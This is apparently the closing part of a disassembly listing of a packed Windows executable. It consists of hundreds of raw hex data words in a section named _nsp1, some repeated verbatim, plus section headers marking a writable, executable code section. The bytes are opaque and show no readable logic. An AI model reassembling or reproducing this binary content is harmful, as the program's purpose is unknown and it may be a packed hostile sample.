		dd 0DE191DCBh, 401593EFh, 0ECFD05C6h, 8BE5E188h, 216D6ECDh
		dd 0DE95BF4Dh, 15019126h, 0DC0B8A4Fh, 0D0ED481Dh, 9E14D081h
		dd 53901AD8h, 86E68655h, 64E8A552h, 0F2B35D23h,	0E0886963h
		dd 8812B838h, 0BD600A0Fh, 405F7ADh, 0E252E814h,	0B51CC19Bh
		dd 0C4102DCBh, 48952192h, 0F800DBA0h, 91806738h, 8D37A87Ah
		dd 88B9F239h, 6A3CE91Ah, 9F30146h, 41E38DDCh, 0A5B091E7h
		dd 0AA519556h, 1096F7FDh, 0DE9C9D3Eh, 0D123900Ch, 1DE270D5h
		dd 0E3C748F3h, 2E74753Bh, 9DDCD8F0h, 24A7457Ah,	2D4FD214h
		dd 7168AC4Ch, 0AEA65DD0h, 0D5419206h, 73AC530Bh, 4F213319h
		dd 0FC4DEE2Fh, 0A5757823h, 0D94255B7h, 0BFE2BB5Fh, 73F514B2h
		dd 9796C10Bh, 9C47AFBBh, 0A04A1AEBh, 0AF20F824h, 3128CCBFh
		dd 0BF98F3C5h, 0CC0E1EAAh, 57B861D4h, 93A47E2h,	0F556D31Ch
		dd 0A7427F5Ah, 1F82B725h, 9B2F5CFAh, 935149E8h,	25BAB8AFh
		dd 0CBAC7FC4h, 5CDB7180h, 0DB7973B8h, 5753BB6Fh, 0B6BCEF94h
		dd 1CEC8EE9h, 0EF73E2DFh, 8875BA7Eh, 0CAFE3086h, 8A2F84F0h
		dd 6C0A155Fh, 741F3BA7h, 5EDE8957h, 1D3EEE1Dh, 5C21F337h
		dd 0DBA0BE71h, 9C948940h, 0ECA4B2EDh, 0C17CA3EFh, 0F2EE1242h
		dd 0BCCD630Ah, 0AB9FFAB9h, 40DFD42Eh, 26825F5Dh, 0E10A9132h
		dd 8B80EC66h, 4DA1354Fh, 94A51E19h, 4A533C39h, 51A6962Eh
		dd 0E46DCAC7h, 0C9BD9BDDh, 0E61480EBh, 0A56BC11Eh, 31FD01E9h
		dd 0D6034386h, 0A9DB1434h, 89D28DC0h, 699B63A9h, 56344DA5h
		dd 0C32C2037h, 0F7C3CFAh, 0FD71B327h, 2A88BEB1h, 0B3BD38AEh
		dd 5FD55024h, 1CAF424Dh, 0F719374Ah, 6CD90157h,	0AD3C45A7h
		dd 0F26DE7D1h, 39EF6321h
		dd 0B8A0ED9Fh, 6BF5E191h, 6881D506h, 7A54FF4Eh,	3BFF08A0h
		dd 0B8CC9D4Bh, 8F74C7CBh, 5FBDCA06h, 1C8F213Eh,	19E31D77h
		dd 0D018B968h, 0C5D4E217h, 0AEAA81BAh, 5C3B4D24h, 38205BD4h
		dd 0C3120E10h, 238DE8F9h, 13BC8558h, 0D7558326h, 89F3D4A8h
		dd 2FC8FE6Bh, 0A659846Ah, 7856FFCh, 59922EDCh, 485E8F0h
		dd 834143D4h, 0ACCD77F0h, 71ECF835h, 2C7243E4h,	205D3904h
		dd 3780BE28h, 0C8D55CA9h, 1E947F2Eh, 10B06991h,	9B413AD2h
		dd 0AF796B93h, 787B98C6h, 7389563Eh, 37A698DCh,	0B7FC23FBh
		dd 0E7003319h, 0AF80AFDh, 0E2BD95D7h, 28D32586h, 331BC5E5h
		dd 0BE25E0C3h, 0FFF6B5DFh, 86E4EC0Dh, 8A6560F3h, 4FBB5DE7h
		dd 0EA788E0h, 0A63DAE6Fh, 0AD601B21h, 83BF090Fh, 1A849767h
		dd 81DDE5F0h, 0DB9BF996h, 45AB9E8Fh, 0B851392h,	898D394Ch
		dd 72C5E011h, 2D3FE1FAh, 0BBD9F819h, 616F9046h,	0C5CF6B76h
		dd 6A77262Fh, 20967295h, 0E5D2C231h, 8C71A1E0h,	3C1A4010h
		dd 8556310Dh, 248CEE38h, 0C62DD398h, 4F99F06Ch,	0A094A250h
		dd 6FC46B4Bh, 17FCA58Ch, 654920B4h, 0F213FCEDh,	0FD5F9E1Bh
		dd 0B8FA1B80h, 735AD9DFh, 0B2C85BE4h, 72A4FE0Dh, 0BB909026h
		dd 14CF3C2Bh, 7CD3769Ch, 232953F8h, 0F39D7305h,	4EC11DF3h
		dd 7A16BC16h, 3BD20A7Dh, 0D1BE92h, 155A47F6h, 0E4C0A2CAh
		dd 8EED4228h, 0F9FF6DF6h, 7666990Ah, 13C1E6E3h,	0A7A71F21h
		dd 0A5D4A66Ah, 7341B69Ah, 8EED35A4h, 0EA625465h, 0F07AE93Eh
		dd 0AA7EAEF6h, 0CF7A8F20h, 2AE27B01h, 2FD28202h, 63765666h
		dd 860EAA79h, 0C345153Ch, 23B795CDh, 0D8202851h, 0ABFF941Ch
		dd 1000FBBFh, 0C9360626h, 0F2C33386h, 0F3B38BF4h, 6EA6D29Dh
		dd 24F0A328h, 119041C0h, 0DCA5B98Ah, 9CCDB01Ch,	0B269E5CBh
		dd 0BE339B7Ah, 0F190BDD9h, 0B267E481h, 0EFF18907h, 249CE5CBh
		dd 0F44B9DE0h, 0FD5060Fh, 2523F124h, 23267402h,	0CA9E5A2Dh
		dd 0A3992BAAh, 6AF8B6FDh, 0F7C7AAD8h, 5AB76AFBh, 361AD527h
		dd 97E234AFh, 16B4159Eh, 82D2A14Bh, 8C74E736h, 4A1AEDCEh
		dd 91F82571h, 12FD8F67h, 0E3F2872Ch, 0F80201D1h, 0E23E19BFh
		dd 0EB76319Bh, 0DDDC7FB7h, 6957169Bh, 4ADDB7D0h, 4CF8D219h
		dd 870CDECCh, 0B9C23DB9h, 0BE08AF4Eh, 3299B821h, 149C2418h
		dd 2DF4EBFAh, 9078FABBh, 48EC6D93h, 1D41C6FDh, 54ED7F65h
		dd 2DBA572Eh, 0BE126BCh, 1BD5859h, 0A31FA31Ah, 91A00C9Dh
		dd 45D4376h, 0D117B752h, 762BFC2Dh, 0B3E1A445h,	2349BE4h
		dd 0E594EE72h, 0C7A79B70h, 601706D6h, 0C018BE64h, 95CD27A8h
		dd 0F4D6FD81h, 0FCB60750h, 40B0B870h, 0A82A9DF2h, 6F4961FAh
		dd 0D539DB5Ah, 0D2391DBDh, 0FC95C1E1h, 53C5E903h, 2366C995h
		dd 3DA8694Eh, 433B5B38h, 0E2FE6E52h, 392F0522h,	3F9A9A1Fh
		dd 15AC5794h, 0D5831102h, 14782BB5h, 88E8CC35h,	93960E58h
		dd 0F132133Ch, 971D1D7Eh, 9A563F4Eh, 0F5B8FB19h, 2E83B821h
		dd 555FFA7Fh, 66F73B70h, 67C44C2h, 0E94C9B89h, 3CEBD4E5h
		dd 0E93C1779h, 8C46C85Fh, 2669A2D2h, 0D842620Bh, 0AB993EA6h
		dd 4C5F9E9Ah, 0FADF730Dh, 3CC04FDBh, 0A3807EF2h, 5AC60F83h
		dd 0FA2BA4B7h, 0E1AE7331h, 38252249h, 2B6D747Ch, 0C395A1D7h
		dd 0FFDF824Eh, 0D50675B7h, 72C3A2FAh, 60D36F32h, 0B64A53A0h
		dd 0B15367E1h, 8E2DAFCAh, 0C531FBE9h, 8C29D6EBh, 0A5A87ECh
		dd 5BE59726h, 0CCE3BFA6h, 0A24F3CADh, 55C80554h, 0CD9347EEh
		dd 0F5B302C5h, 0C93D1635h, 45538D69h, 0F8AE3D57h, 9364A079h
		dd 1C523A56h, 737472Eh,	123FEC4Ch, 416EED78h, 0F1E2E9CBh
		dd 17EC1969h, 329B2142h, 9BF341D0h, 6A05DB32h, 87C30634h
		dd 39EF63C3h, 0B8A0ED9Fh, 6BF5E191h, 6881D506h,	7A54FF4Eh
		dd 3BFF08A0h, 0B8CC9D4Bh, 8F74C7CBh, 5FBDCA06h,	1C8F213Eh
		dd 19E31D77h, 0D018B968h, 0C5D4E217h, 0AEAA81BAh, 5C3B4D24h
		dd 38205BD4h, 0C3120E10h, 238DE8F9h, 13BC8558h,	0D7558326h
		dd 89F3D4A8h, 2FC8FE6Bh, 0A659846Ah, 7856FFCh, 59922EDCh
		dd 485E8F0h, 834143D4h,	0ACCD77F0h, 71ECF835h, 2C7243E4h
		dd 205D3904h, 3780BE28h, 0C8D55CA9h, 1E947F2Eh,	10B06991h
		dd 9B413AD2h, 0AF796B93h, 787B98C6h, 7389563Eh,	37A698DCh
		dd 0B7FC23FBh, 0E7003319h, 0AF80AFDh, 0E2BD95D7h, 28D32586h
		dd 331BC5E5h, 0BE25E0C3h, 0FFF6B5DFh, 86E4EC0Dh, 8A6560F3h
		dd 4FBB5DE7h, 0EA788E0h, 0A63DAE6Fh, 0AD601B21h, 83BF090Fh
		dd 1A849767h, 81DDE5F0h, 0DB9BF996h, 45AB9E8Fh,	0B851392h
		dd 898D394Ch, 72C5E011h, 2D3FE1FAh, 0BBD9F819h,	616F9046h
		dd 0C5CF6B76h, 6A77262Fh, 20967295h, 0E5D2C231h, 8C71A1E0h
		dd 3C1A4010h, 8556310Dh, 248CEE38h, 0C62DD398h,	4F99F06Ch
		dd 0A094A250h, 6FC46B4Bh, 17FCA58Ch, 654920B4h,	0F213FCEDh
		dd 0FD5F9E1Bh, 0B8FA1B80h, 735AD9DFh, 0B2C85BE4h, 72A4FE0Dh
		dd 0BB909026h, 14CF3C2Bh, 7CD3769Ch, 232953F8h,	0F39D7305h
		dd 4EC11DF3h, 7A16BC16h, 3BD20A7Dh, 0D1BE92h, 155A47F6h
		dd 0E4C0A2CAh, 8EED4228h, 0F9FF6DF6h, 7666990Ah, 13C1E6E3h
		dd 0A7A71F21h, 0A5D4A66Ah, 7341B69Ah, 8EED35A4h, 0EA625465h
		dd 0F07AE93Eh, 200h dup(0)
_nsp1		ends

; Section 3. (virtual address 000A4000)
; Virtual size			: 000009B2 (   2482.)
; Section size in file		: 000009B2 (   2482.)
; Offset to raw	data for section: 000A4000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp2		segment	para public 'CODE' use32
		assume cs:_nsp2
		;org 4A4000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 26Ch	dup(0)
		db 2 dup(0)
_nsp2		ends

; Section 4. (virtual address 000A5000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000A4A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4A5000h
		align 2000h
_idata2		ends


		end start